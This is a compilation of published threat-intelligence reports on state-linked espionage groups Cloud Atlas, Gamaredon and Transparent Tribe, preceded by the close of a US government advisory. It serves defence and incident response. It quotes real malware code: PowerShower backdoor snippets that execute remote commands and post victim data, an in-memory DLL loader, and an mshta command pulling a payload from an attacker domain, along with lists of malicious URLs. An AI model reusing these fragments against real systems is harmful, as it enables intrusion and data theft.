Windows specific settings can be configured to block internet-originated macros from running. This can be done in the Group Policy Administrative Templates for each of the associated Office products (specifically Word, Excel and PowerPoint). Other productivity software, such as LibreOffice and OpenOffice, can be configured to set the Macro Security Level. Be aware of third-party downloads especially cryptocurrency applications. North Korean actors have been increasingly active with currency generation operations. Users should always verify file downloads and ensure the source is from a reputable or primary (preferred) source and not from a third-party vendor. Malicious cyber actors have continuously demonstrated the ability to trojanize applications and gain a foothold on host devices. Create an incident response plan to respond to possible cyber intrusions. The plan should include reporting incidents to both the FBI and CISA quick reporting can reduce the severity of incidents and provide valuable information to investigators. Contact information can be found below. CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. DISCLAIMER The information in this advisory is provided "as is" for informational purposes only. The FBI, CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis. Page 14 of 14 | Product ID: A22-108A TLP:WHITE Cloud Atlas targets entities in Russia and Belarus amid the ongoing war in Ukraine research.checkpoint.com/2022/cloud-atlas-targets-entities-in-russia-and-belarus-amid-the-ongoing-war-in-ukraine December 9, 2022 Introduction Cloud Atlas (or Inception) is a cyber-espionage group. Since its discovery in 2014, they have launched multiple, highly targeted attacks on critical infrastructure across geographical zones and political conflicts. The group s tactics, techniques and procedures (TTPs) have remained relatively static over the years. However, since the rapid escalation of the conflict between Russia and Ukraine in 2021 and especially after the outbreak of war in February 2022, the scope of the group s activities has narrowed significantly, with a clear focus on Russia, Belarus and conflicted areas in Ukraine and Moldova. Some evidence discovered while monitoring the group s latest activities indicates that the group carried out a few successful intrusions and managed to gain full access to some of the targeted environments. In this publication, we discuss the tools, TTPs and victimology of Cloud Atlas in the last year. Interestingly, in addition to the usual malware used by Cloud Atlas, we discovered a new, previously never discussed tool: the group installs not only their signature modular espionage framework on the infected systems, but also uses the DLL to proxy connections through the victims machines. While we finalized this blogpost, another technical analysis of Cloud Atlas activity was published. While it overlaps with our findings to some extent, we believe that this report provides the additional information, insights and clarifications regarding the actors operations. Victimology The group s victims shift with the escalation of the political situation around Ukraine. In 2020-2021 the targets we observed included a wide range of ministries, diplomatic entities and industrial targets across the globe, including Western and Southeast Asia and Europe (especially, but not only Eastern Europe). However, toward the end of 2021, amid the rising tensions between Russia and Ukraine, the focus of the group shifted to the Crimean Peninsula and breakaway regions of Ukraine, Luhansk and Donetsk, as well as government, diplomatic, research and industry entities of Russia and Belarus. In March-April 2022, Cloud Atlas was observed targeting entities in the pro-Russian Transnistria breakaway region of Moldova, officially known as the Transnistrian Moldavian Republic, where tensions were escalating amid fears that Russia would try to extend its 1/14 sovereignty to Transnistria or use the republic s territories for an offensive against Ukraine. Since June 2022, we have seen multiple persistent campaigns focused on very specific targets in Belarus, mainly in its transportation and military radio-electronics sectors, and in Russia, including the government sector, energy and metal industries. The actors are also maintaining their focus on the Russian-annexed Crimean Peninsula, Lugansk and Donetsk regions. Initial infection Cloud Atlas has used spear-phishing emails containing malicious attachments as their initial attack vector for many years. They mostly use public email services like Yandex, Mail.ru and Outlook.com, but in some cases also attempted to spoof the existing domains of other entities that are likely to be trusted by the target. Figure 1 Example of spear-phishing email (subject: The Diplomatic Academy of the Ministry of Foreign Affairs, Diplomatic Service and Practice Journal ) sent by Cloud Atlas to one of the Russian ministries. The email attachment is usually a Microsoft Office document which retrieves a malicious remote template from the attackers servers. The lures of these documents are carefully tailored to the target. We observed a variety of weaponized documents ranging from governmental documents to publicly available reports and articles, including business proposals and advertisements. 2/14 Figure 2 Examples of lure documents targeting Belarussian entities: A description of the Comprehensive analysis of the economic and financial activities of a commercial organization course from Belarusian State Economic University (left) and the advertisement of the company specialized in office equipment (right). 3/14 Figure 3 Examples of lure documents used by CloudAtlas against government and energy sectors. (Resolution of the government of the Russian Federation on the application of legislation in the field of atomic energy in the Zaporozhye region, on the right.) The remote templates are RTF documents that exploit 5-year-old vulnerabilities in Microsoft Equation Editor, such as CVE-2017-11882 and CVE-2018-0802. For both external templates and the later stages of the campaign, the attackers closely control who can access them by whitelisting the targets. This is a known technique used by Cloud Atlas to collect the IP information of the victims by first sending them reconnaissance documents, which do not contain any malicious functionality aside from fingerprinting the victim. Whitelisting can be easily performed in those cases where the targeted entities are large enough to have their own ASN. The use of whitelisting significantly decreases the chances of the malicious components executing in sandboxes or research environments. PowerShower backdoor The next stage of a Cloud Atlas attack is usually a PowerShell-based backdoor called PowerShower. PowerShower is stored on the disk with simple obfuscation of Base64encoding and string concatenation: Figure 4 Example of PowerShower backdoor obfuscation. The PowerShower versions that we observed during our research included a thinner functionality compared to older versions, but the backdoor remained essentially unchanged, including function names, such as HttpRequestG , HttpRequestP , and dec64 that can be tracked through the different versions. Once PowerShower is up and running, it mainly waits for further instructions from the Command and Control (C&C) server. It may save a zip file sent from the server to %TEMP%\PG.zip or execute PowerShell commands that are sent embedded in an XML file in a Base64-encoded format: $xmlfile = (gi $env:temp).fullname + "\\temp.xml"; 4/14 [io.file]::WriteAllBytes($xmlfile, $result); $content = Get-Content $xmlfile; [xml]$doc = $content; $command = dec64($doc.model.ps); Invoke-Expression $command; Remove-Item $xmlfile -force; Figure 5 PowerShower piece of code that handles parsing XML and PowerShell command execution. One of the recent changes introduced in PowerShower is proxy awareness: if a proxy is enabled on the infected machine, the malware uses it when issuing the requests to the C&C server. In addition, the script now sends some basic data about the victim s machine (OS major and minor versions and PowerShell version) in the User-Agent header of the POST request: Function HttpRequestP($url) $all=""; $p_t = (gi $env:temp).fullname + "\pass.txt"; $content = [io.file]::ReadAllText($p_t); Remove-Item $p_t -force -recurse; $all=$content; $http_request = New-Object -ComObject Msxml2.ServerXMLHTTP.6.0; $http_request.open("POST", $url, $false); $http_request.setOption(2,$http_request.getOption(2)); $pr = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"; if ( $pr.ProxyEnable -eq "1") 5/14 $http_request.setProxy(2, $pr.ProxyServer); $psv = $PSVersionTable.PSVersion.Major; $wvmajor = [Environment]::OSVersion.Version.Major; $wvminor = [Environment]::OSVersion.Version.Minor; $http_request.SetRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT " + $wvmajor + "." + $wvminor + "; PS " + $psv + ".00)"); $http_request.send("$all"); return $http_request.status; Figure 6 PowerShower proxy handling and User-Agent string concatenation. RtcpProxy Tool One of the interesting payloads received by PowerShower is a script called office.ps1 . This script reflectively loads in memory and runs the StartMainXor function from the .NET DLL stored in the script compressed and Base64-encoded. $dll_compressed_base64="H4sIAAAAAAA" $dll_compressed=[System.Convert]::FromBase64String($dll_compressed_base64) $ms=New-ObjectSystem.IO.MemoryStream(,$dll_compressed) $cs=New-ObjectSystem.IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress) $br=New-ObjectSystem.IO.BinaryReader($cs) $dll_content=$br.ReadBytes(10485760) $br.Close() $cs.Close() $ms.Close() 6/14 [System.Reflection.Assembly]::Load($dll_content) #$content_bytes=[tcp_ssl_simple.NetTcpSsl]::StartHello() #[abcd.Service]::StartHello() // Prototype: // StartMainXor(string host, string port, int number, int reconnect_sleep, int time_stop_delay_seconds, string hexkey) $content_bytes=[abcd.Service]::StartMainXor("", "11171", 10, 7000, 15 * 60, "010203BADC0DEF") write-host"DoneTest" This DLL is internally called rtcpsvc.dll and is responsible for relaying commands between two different servers. This DLL is likely a part of a sequence of proxies used by the attackers. There were multiple past reports that the actors heavily relied on a world-wide proxy network, however, it was never mentioned that they achieved this with DLLs on Windows. Setting proxies within compromised environments might also in some cases allow the actors to penetrate high profile targets while reducing the risk of their network activity being discovered or blocked, as the network activity is associated with trusted sources inside the country or industry. The communication between the DLL and the hosts can be XOR-encrypted, depending on if the DLL was executed with a key parameter or without. In all the cases we analyzed, the same key 010203BADC0DEF was used for the XOR-encryption. Other parameters that are provided to launch the DLL include the host and port of the remote peer, the number of connections, and the amount of time to sleep before reconnecting. 7/14 Figure 7 Overview of the Communication class responsible for communication between two peers. The DLL reaches out to the specified remote host ( Left ) and receives 4 bytes in response. These bytes specify the length of the next message (command) to be received. It then connects again to the host and expects an XML response with the connect command. This XML response should contain the host and port of another ( Right ) peer. The DLL connects to the second host as well, notifies the first host of success, and starts to relay messages between them. 8/14 Figure 8 Function responsible for sending the connect result in XML format to the Left peer. Similar to the command execution status sent to the peers, the relayed messages themselves are also in XML format, as well as the commands received by the PowerShower backdoor. Modular espionage framework Interestingly, the actors made no significant changes in the core of their modular backdoor in the seven years after its discovery in 2014 by Kaspersky and Symantec. As described in the aforementioned reports, we observed multiple samples of Cloud Atlas modular backdoor. Each is an obfuscated DLL accompanied by an encrypted file, with both DLL and data files named using random words. For example, a DLL named beachmaster.dll was accompanied by an encrypted file named examinere . Each DLL has multiple randomlynamed export functions, only one of which is relevant. When the relevant export function is called, the DLL begins to decrypt and load an embedded PE file. The loaded PE file then XOR-decrypts a hardcoded struct that instructs it how to decrypt the companion file. For example, the hardcoded struct in the PE inside beachmaster.dll will look like this: 0000h: C6 8E CA BF E5 DE 8E 74 1E 08 E3 FB 6D C1 79 3F 0010h: E5 19 69 0C 55 74 54 F7 CF 15 9D AF 00 02 D9 55 .i.UtT 0020h: 47 00 6C 00 6F 00 62 00 61 00 6C 00 5C 00 49 00 G.l.o.b.a.l.\.I. 0030h: 54 00 4F 00 4A 00 75 00 43 00 65 00 69 00 00 00 T.O.J.u.C.e.i... 0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ truncated 9/14 0090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00A0h: 65 00 78 00 61 00 6D 00 69 00 6E 00 65 00 72 00 e.x.a.m.i.n.e.r. 00B0h: 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e............... 00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ truncated 0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0120h: 7D CB BE 31 61 A3 10 54 8F D7 31 71 5E E7 21 86 } 0130h: 13 E1 CF 96 . .... The structure is built from an AES256 key which is used to decrypt the companion file, an event name which prevents running multiple instances of malware, a file name of the encrypted companion file, and a SHA1 hash. The SHA1 at the end of the structure is used for a hash check: it matches the calculated SHA1 hash of the first 0x120 bytes of the configuration. The payload then decrypts the companion file. It uses the AES256 key from the config, and the last 16 bytes from the companion file as an IV. It then uses LZNT1 to decompress the results and reveal another PE file. The newly revealed DLL also has an encrypted configuration hardcoded inside. Its decryption process is similar to those seen in previous stages and this config provides information that instructs the malware how to communicate with its C&C server. The malware still lives up to its cloud name origins and uses cloud storage providers to communicate via WebDAV protocol. In the samples we observed, Cloud Atlas used OpenDrive as its service of choice. The credentials for OpenDrive are hardcoded in the encrypted configuration, along with two URIs (one for uploading files from the victim, one for downloading files from the server) and the pattern and extensions to generate the names of the uploaded files. The data sent to the service, such as information about the environment of the victim, is saved as files under the URI specified in the configuration. Additionally, the payload connects to another URI to receive the next payload, and when it downloads the next payload, it issues a request to the server to remove the downloaded file. The first module which is sent automatically is the stealer module, which is responsible for collecting the login and cookie data from multiple browsers on the victim s machine. Incident response report 10/14 While investigating CloudAtlas activity, we stumbled upon some type of incident response report written in Russian that was uploaded to VirusTotal from an IP address located in Donetsk. This report (no TLP label specified) provides an analysis of a few successful intrusions that occurred in June. These intrusions were discovered only in the later stages when the attackers already had full access to the entire network including the domain controller. Although not all the information in the report is precise and well-detailed, we can cautiously extract some of the group s additional TTPs during the later stages of the attack: After gaining access to the domain controller, the actors extract the snapshot of its database using the ntdsutil utility and copy it to their server for offline analysis and extraction of password hashes. To connect to the machines inside the victim organization s network, the attackers use the infected computers of ordinary users, from which they then connect via RDP to the domain controller. The attackers use existing domain accounts after changing their permissions or create accounts with similar names by changing one or two letters. The actors conduct their primary activities (using RDP or ssh to other servers, endpoints or network equipment) from the domain controller, impersonating regular sysadmin operations. Additional tools used by the attackers include Advanced Port Scanner (version 2.5.3869, with Russian interface), file manager Far, Chocolatey, AnyDesk, and Putty (copied to the servers and deleted after completing the task). The actors also use Python 3 scripts on multiple servers to perform a variety of operations such as: searching and deleting all information about connections to webdav.opendrive.com from the logs of the Squid proxy server; copying correspondence from Telegram clients, saved passwords and browser history; and brute force of Microtik routers. It is not clear from the report which organizations or entities were the victims of these attacks. Conclusion Cloud Atlas continuously and persistently targets entities of interest. With the escalation of the conflict between Russia and Ukraine, their focus for the past year has been on Russia and Belarus and their diplomatic, government, energy and technology sectors, and on the annexed regions of Ukraine. Cloud Atlas continues to use the simple but effective method of social engineering, using spear-phishing emails to compromise their targets. In the first stage of the attack, the actors use Word documents with remote templates, usually whitelisted for a particular target, which makes the phishing documents almost undetectable. Judging by the fact that the group continues to be very active despite only minor changes in TTPs, their methods seem to be successful. Not only do they manage to penetrate their targets and expand their initial access to the entire domain, but they can also use them as proxies for other operations. 11/14 Harmony Email & Office deploys between the inbox and its native security. The solution secures inbound, outbound, and internal email from phishing attacks that evade platformprovided solutions and email gateways. It works with these other solutions and doesn require any MX record changes that broadcast security protocols to hackers. Check Point s Threat Emulation protects networks against unknown threats in web downloads and e-mail attachments. The Threat Emulation engine picks up malware at the initial phase, before it enters the network. The engine quickly quarantines and runs the files in a virtual sandbox environment, which imitates a standard operating system, to discover malicious behavior at the exploit phase. IOCs Documents, scripts and payloads 12/14 a34d585f66fc4582ed709298d00339a9 b1aad1ed2925c47f848f9c86a4f35256 f58ad9ee5d052cb9532830f59ecb5b84 57c44757d7a43d3bc9e64ec5c5e5515d 41d2627522794e9ec227d72f842edaf7 f95ceca752d219dbc251cca4cd723eae 044e167af277ca0d809ce4289121a7b5 1139c39dda645f4c7b06b662083a0b9d 3399deafaa6b91e8c19d767935ae0908 bd9907dd708608bd82bf445f8c9c06ab edc96c980bbc85d83dcd4dca49ca613f ee671a205b0204fa1a6b4e31c9539771 5488781d71b447431a025bd21b098c2c 16fbbafa294d1f4c6c043d89138d1b60 5bbc3730c943b89673453176979d6811 b684f3ee5a316e7fbcfa95ebcf86dedc ae74f2bfd671e11828a1ae040fe6d48c 2a21265df0bdd70a96551d9d6104b352 a8a93fa8ef221de5ee3d110cfc85243d eb527d1682bfbed5d9346e721c38c6f5 ae828e3c03cc1aaedc43bb391e8b47ed c7a1dd829b03b47c6038afa870b2f965 c2064c7f4826c46bc609c472597366fd 89d40dd2db9c2cfd6a03b20b307dcdec d236d8fda2b7d6fd49b728d57c92a0a9 9b05080490d51a7d2806a0d55d75c7ff d5a40e2986efd4a182bf564084533763 077b71298ce31832ae43e834b7e6c080 f68e64dacd046289d4222098ee421478 d236d8fda2b7d6fd49b728d57c92a0a9 81932933422d4bc4ece37472f9eb3ddc d0d728856a91710df364576e05f2113e 94283807d0c97b3adb8f4ab45fffb5bc 0e9147b824bc1d2507984ccd2a36d507 dc3faa6840d1b5fd296d71ee8877254e aa04bfcc675c73be1238fa953e19c4cf 789afbe3a173d13d0b3700da6a629e15 acbbc6fea0dbbe7cba511b450cc2b758 e79833c9f758775ba0d82b8f4c8d2981 3609ca3013d29fb824805b9a996eff70 956f2241e81345d6507d0cd43499dba1 a3ba37cde2644ed6345d2c74ce25bfd8 a7a004e7118c986f1e07c87ce52a60e5 b7b71b35fbfd119319015b04de817b3c f29cbc7639b53003fb33d8b20b9c0b59 Domains 13/14 desktoppreview[.]com gettemplate[.]org driversolution[.]net translate-news[.]net technology-requests[.]net protocol-list[.]com comparelicense[.]com support-app[.]net remote-convert[.]com GO UP BACK TO ALL POSTS 14/14 Gamaredon APT targets Ukrainian government agencies in new campaign blog.talosintelligence.com/gamaredon-apt-targets-ukrainian-agencies September 15, 2022 By Asheer Malhotra, Guilherme Venere Thursday, September 15, 2022 09:09 Threat Spotlight SecureX Ukraine THIS POST IS ALSO AVAILABLE IN: (Ukrainian) Cisco Talos recently identified a new, ongoing campaign attributed to the Russia-linked Gamaredon APT that infects Ukrainian users with information-stealing malware. The adversary is using phishing documents containing lures related to the Russian invasion of Ukraine. LNK files, PowerShell and VBScript enable initial access, while malicious binaries are deployed in the post-infection phase. Download One-pager 1/16 We discovered the use of a custom-made information stealer implant that can exfiltrate victim files of interest and deploy additional payloads as directed by the attackers. Cisco Talos discovered Gamaredon APT activity targeting users in Ukraine with malicious LNK files distributed in RAR archives. The campaign, part of an ongoing espionage operation observed as recently as August 2022, aims to deliver information-stealing malware to Ukrainian victim machines and makes heavy use of multiple modular PowerShell and VBScript (VBS) scripts as part of the infection chain. The infostealer is a dual-purpose malware that includes capabilities for exfiltrating specific file types and deploying additional binary and script-based payloads on an infected endpoint. The adversary uses phishing emails to deliver Microsoft Office documents containing remote templates with malicious VBScript macros. These macros download and open RAR archives containing LNK files that subsequently download and activate the next-stage payload on the infected endpoint. We observed considerable overlap between the tactics, techniques and procedures (TTPs), malware artifacts and infrastructure used in this campaign and those used in a series of attacks the Ukraine Computer Emergency Response Team (CERT-UA) recently attributed to Gamaredon. We also observed intrusion attempts against several Ukrainian entities. Based on these observations and Gamaredon's operational history of almost exclusively targeting Ukraine, we assess that this latest campaign is almost certainly directly targeting entities based in Ukraine. 2/16 Attack Chain Initial Access Gamaredon APT actors likely gained initial footholds into targeted networks through malicious Microsoft Office documents distributed via email. This is consistent with spearphishing techniques common to this APT. Malicious VBS macros concealed within remote templates execute when the user opens the document. The macros download RAR archives containing LNK files. The naming convention of the RAR archives in this campaign follows a similar pattern: 31.07.2022.rar 04.08.2022.rar 10.08.2022.rar These compressed archives usually contain just the LNK file. The LNK files and Microsoft Office document names contain references pertinent to the Russian invasion of Ukraine: Execution Once opened, the LNKs will attempt to execute MSHTA.EXE to download and parse a remote XML file to execute a malicious PowerShell script: mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /f Gamaredon is known to use the domain xsph[.]ru. The servers in this campaign only allow access from IP addresses inside the Ukrainian address space. 3/16 This PowerShell script decodes and executes a second PowerShell script (instrumentor), which collects data from the victim and reports back to a remote server. This script also allows the remote server to send a PowerShell command or binary blob containing encrypted VBScript (VBS) code to be executed locally: 4/16 5/16 Second-stage PowerShell script that runs additional commands and payloads on the endpoint. The instrumentor PowerShell script usually consists of a function that decodes the encrypted response from the command and control (C2) server and executes it as a VBScript object. The key used in the XOR decoder is calculated based on the machine's volume serial number plus index parameters passed in the response blob. This method makes it difficult to decode the malicious content if an observer looking at the data doesn't have both parameters available. The PowerShell script also repeatedly captures the current user's screen. This code uses the "System.Windows.Forms" object to capture a copy of the virtual desktop, including setups with multiple screens. The screen capture is executed nine times, but the resulting screenshot is always saved to "%TEMP%\test.png", which gets overwritten every time. The resulting image (PNG file) is then converted to a base64-encoded string, stored in a variable and the screenshot image file is removed from the disk. The script then proceeds to upload the victim's information to the remote server. The following information is then collected and exfiltrated to a hardcoded C2 URL. Computer name. Volume serial number. Base64-encoded screenshot. Upon sending the system information, the server response is parsed to see if there are commands to be executed. The entire script runs up to four times, thus up to four different commands can be executed each time. The code checks if the first character is an exclamation point ("!"). If so, the remainder of the response is expected to be a PowerShell code that is passed directly to the command IEX. The output of that command is then added to the variable "cmd" and sent back to the C2 server. If the response starts with any other character, it is treated as an encrypted blob and passed to the decoder function, along with the volume serial number to be decoded and executed as VBScript. 6/16 Infection chain diagram. Payloads Yet another PowerShell script One of the payloads served to the instrumentor script was PowerShell code used to set an environmental variable with PowerShell code in it and a Registry RUN key to run every time the user logs in. 7/16 PowerShell script setting up the RUN key to execute another PowerShell script stored in the environment variable. There are two key components to this script: The Get-IP function: This function queries a DNS lookup service for an attackerspecified domain and uses one of the returned IP addresses as the IP to download the next payloads. Next-stage payload: The PowerShell script uses the IP address to construct a URL that serves the next-stage PowerShell script, which is subsequently stored in "$env:Include" and executed when the user logs in (via the HKCU\\Run key). Persistence script fetching the remote location's IP. 8/16 The PowerShell code residing in the environment variable is meant to provide the attackers with continued access to the infected endpoint with the capability to deploy additional payloads as desired. A similar PowerShell script was described in CERT-UA's recent alert describing intrusions conducted by Gamaredon in the first half of 2022 using the GammaLoad and GammaSteel implants. PowerShell script stored in the env variable. 9/16 This script uses the same Get-IP() function to get a random IP assigned to the domain and queries a URL constructed from the IP address and a hardcoded extended resource. Just like the previous script, the computer name and volume serial number are used again in communications with the C2 server. The C2 server uses them to encode the next-stage payload subsequently served to the script. If the response from the C2 starts with the string "http", the content is treated as the URL to download the final payload binary. The Volume Serial Number and Computer Name are passed to this URL and the response is decoded using the XorBytes function. PowerShell function used to decode payloads from C2 server. The decrypted binary is then saved to the "%TEMP%" folder with a name consisting of a random string of numbers and the ".exe" file extension and is executed. Alternatively, if the response from the C2 does not begin with the "http" string, the content is treated as a VBS and executed via a COM object. Infostealer One of the executables deployed by the attackers via the PowerShell script consisted of an information stealer that exfiltrates files of specific extensions from the infected endpoint: .doc, .docx, .xls, .rtf, .odt, .txt, .jpg, .jpeg, .pdf, .ps1, .rar, .zip, .7z and .mdb. This is a new infostealer that Gamaredon has not previously used in other campaigns. We suspect it may be a component of Gamaredon's "Giddome'' backdoor family, but we are unable to confirm that at this time. The malicious binary keeps track of what has been exfiltrated in a file named "profiles_c.ini" in the "%USERPROFILE%\Appdata\Local" folder. The malware stores the MD5 hash of a string containing the filename, file size and modification date of the exfiltrated file. 10/16 Once started, the malware scans all attached storage devices looking for files with the aforementioned extensions. For each one, the malware makes a POST request with metadata about the exfiltrated file and its content. POST data to exfiltrate files. The parameter "p" contains metadata about the stolen file and the victim machine using the following format: %u&&%s&&%s&&%s&&%s&&%s Where the various parameters are: &&&&&& &&__&&&&&& && The raw content of the file comes after the metadata. The request is made to a random URI under the parent C2 domain. The implant generates a random 12-character string that acts as a subdomain for the C2 domain to send requests to: E.g. [.]celticso[.]ru The implant will also search for the relevant file extensions in fixed and remote drives and specifically in the "C:\Users" folder. The implant enumerates all the files recursively in the directories on the system while avoiding enumeration of any folder containing the following strings in the path: program files program files (x86) 11/16 programdata perflogs prog windows appdata local roaming Avoiding these folders is likely an attempt by the malware to avoid exfiltrating system files thereby focussing on user files of interest only. For each file exfiltrated to the C2, the implant calculates the MD5 hash for the following information and stores it in the "%LocalAppData%\profiles_c.ini" file: The implant also steals files from removable drives connected to the infected endpoint. When the implant finds a removable drive, it looks for files with the file extensions listed earlier. Once a file is found, the implant creates a randomly named folder in the %TEMP% directory and copies the original file from its original location to: %Temp%\\connect\\ For example, a user file found in a remote drive "E:" at path "E:\top_secret_docs\isengard.doc" will be copied to "%temp%\randomly_named_folder\connect\ \top_secret_docs\isengard.doc" The contents of the folder in the temp directory are subsequently exfiltrated to the C2. Deliver payloads As with this actor's previous tools (e.g., the PS1 scripts), this binary also parses the server response and downloads additional payloads if requested. The response from the server consists of a flag indicating how the data should be treated: Flag Payload Type Action Written to disk and executed. Written to disk and executed using wscript.exe. Any other value Blob of data Written to a file on disk in the %TEMP% folder. 12/16 Code depicting the dropping of additional payloads. There are other indications this malware may be present on the system, listed below: 13/16 A registry key is created under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the name "Windows Task" for persistence A mutex is created with the name Global\flashupdate_r Coverage Ways our customers can detect and block this threat are listed below. Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 14/16 Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort Rules 60517-60539 are available for this threat. Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click here and here. IOCs The IOC list is also available in Talos' Github repo here. Malicious Documents4aa2c783ae3d2d58f12d5e89282069533a80a7ba6f7fe6c548c6230a9601e650 Files581ed090237b314a9f5cd65076cd876c229e1d51328a24effd9c8d812eaebe6a 34bf1a232870df28809597d49a70d9b549d776e1e4beb3308ff6d169a59ecd02 78c6b489ac6cebf846aab3687bbe64801fdf924f36f312802c6bb815ed6400ba 1cb2d299508739ae85d655efd6470c7402327d799eb4b69974e2efdb9226e447 a9916af0476243e6e0dbef9c45b955959772c4d18b7d1df583623e06414e53b7 8294815c2342ff11739aff5a55c993f5dd23c6c7caff2ee770e69e88a7c4cb6a be79d470c081975528c0736a0aa10214e10e182c8948bc4526138846512f19e7 5264e8a8571fe0ef689933b8bc2ebe46b985c9263b24ea34e306d54358380cbb ff7e8580ce6df5d5f5a2448b4646690a6f6d66b1db37f887b451665f4115d1a2 1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c Files750bcec54a2e51f3409c83e2100dfb23d30391e20e1c8051c2bc695914c413e3 Infostealer 139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a Malicious URLs 15/16 hxxp://a0698649.xsph[.]ru/barley/barley.xml hxxp://a0700343.xsph[.]ru/new/preach.xml hxxp://a0700462.xsph[.]ru/grow/guests.xml hxxp://a0700462.xsph[.]ru/seek/lost.xml hxxp://a0701919.xsph[.]ru/head/selling.xml hxxp://a0701919.xsph[.]ru/predator/decimal.xml hxxp://a0701919.xsph[.]ru/registry/prediction.xml hxxp://a0704093.xsph[.]ru/basement/insufficient.xml hxxp://a0704093.xsph[.]ru/bass/grudge.xml hxxp://a0705076.xsph[.]ru/ramzeses1.html hxxp://a0705076.xsph[.]ru/regiment.txt hxxp://a0705269.xsph[.]ru/bars/dearest.txt hxxp://a0705269.xsph[.]ru/instruct/deaf.txt hxxp://a0705269.xsph[.]ru/prok/gur.html hxxp://a0705581.xsph[.]ru/guinea/preservation.txt hxxp://a0705880.xsph[.]ru/band/sentiment.txt hxxp://a0705880.xsph[.]ru/based/pre.txt hxxp://a0705880.xsph[.]ru/selection/seedling.txt hxxp://a0706248.xsph[.]ru/reject/headlong.txt hxxp://a0707763.xsph[.]ru/decipher/prayer.txt Additional Payload Drop Sites hxxp://155.138.252[.]221/get.php hxxp://45.77.237[.]252/get.php hxxp://motoristo[.]ru/get.php hxxp://heato[.]ru/index.php hxxps://.celticso[.]ru 162[.]33[.]178[.]129 kuckuduk[.]ru pasamart[.]ru celticso[.]ru 16/16 Transparent Tribe campaign uses new bespoke malware to target Indian government officials blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html By Asheer Malhotra and Justin Thattil with contributions from Kendall McKay. Cisco Talos has observed a new Transparent Tribe campaign targeting Indian government and military entities. While the actors are infecting victims with CrimsonRAT, their well-known malware of choice, they are also using new stagers and implants. This campaign, which has been ongoing since at least June 2021, uses fake domains mimicking legitimate government and related organizations to deliver malicious payloads, a common Transparent tribe tactic. Based on our analysis of Transparent Tribe operations over the last year, the group has continued to change its initial entry mechanisms and incorporate new bespoke malware, indicating the actors are actively diversifying their portfolio to compromise even more victims. Notably, the adversary has moved towards deploying small, bespoke stagers and downloaders that can be easily modified, likely to enable quick and agile operations. Transparent Tribe deploys new implants Transparent Tribe, also known as APT36 and Mythic Leopard, continues to create fake domains mimicking legitimate military and defense organizations as a core component of their operations. In the latest campaign conducted by the threat actor, Cisco Talos observed 1/23 multiple delivery methods, such as executables masquerading as installers of legitimate applications, archive files and maldocs to target Indian entities and individuals. These infection chains led to the deployment of three different types of implants, two of which we had not previously observed: CrimsonRAT: A remote access trojan (RAT) family that Transparent Tribe frequently uses to conduct espionage operations against their targets. A previously unknown Python-based stager that leads to the deployment of .NET-based reconnaissance tools and RATs. A lightweight .NET-based implant to run arbitrary code on the infected system. This campaign also uses fake domains mimicking legitimate government and pseudogovernment organizations to deliver malicious payloads, a typical Transparent Tribe tactic. Threat actor profile Transparent Tribe is a suspected Pakistan-linked threat actor. This group targets individuals and entities associated with governments and military personnel in the Indian subcontinent, specifically Afghanistan and India. Transparent Tribe has also been known to use their CrimsonRAT implant against human rights activists in Pakistan. The group primarily uses three Windows-based malware families to carry out espionage activities against their targets. CrimsonRAT is a .NET-based implant that has been the group's malware of choice since at least 2020 . Transparent Tribe's multiple campaigns leveraging CrimsonRAT over the years indicate a steady evolution in the implant's capabilities. ObliqueRAT is a C/C++-based implant discovered by Talos in early 2020. ObliqueRAT is primarily reserved for highly targeted attacks on government personnel and in operations where stealth is a prime focus of the attackers' infection chain. This implant has also seen a constant evolution in deployment tactics and malicious functionalities over time. Custom malware used by Transparent Tribe consists of easily and quickly deployable downloaders, droppers and lightweight RATs containing limited capabilities as opposed to CrimsonRAT and ObliqueRAT. Transparent Tribe also maintains a suite of mobile implants in their arsenal. Implants such as CapraRAT are constantly modified to be deployed against targets. These implants contain a plethora of malicious capabilities meant to steal data from mobile devices. 2/23 Downloader executables Talos observed the use of downloader executables containing different lures related to the Indian government. Themes included topics related to COVID-19, resumes and installers for government applications, such as the Kavach multi-factor authentication (MFA) application. Latest variant The latest downloaders primarily masquerade as installers for Kavach and are distributed for delivering malicious artifacts to targets. Kavach is widely used 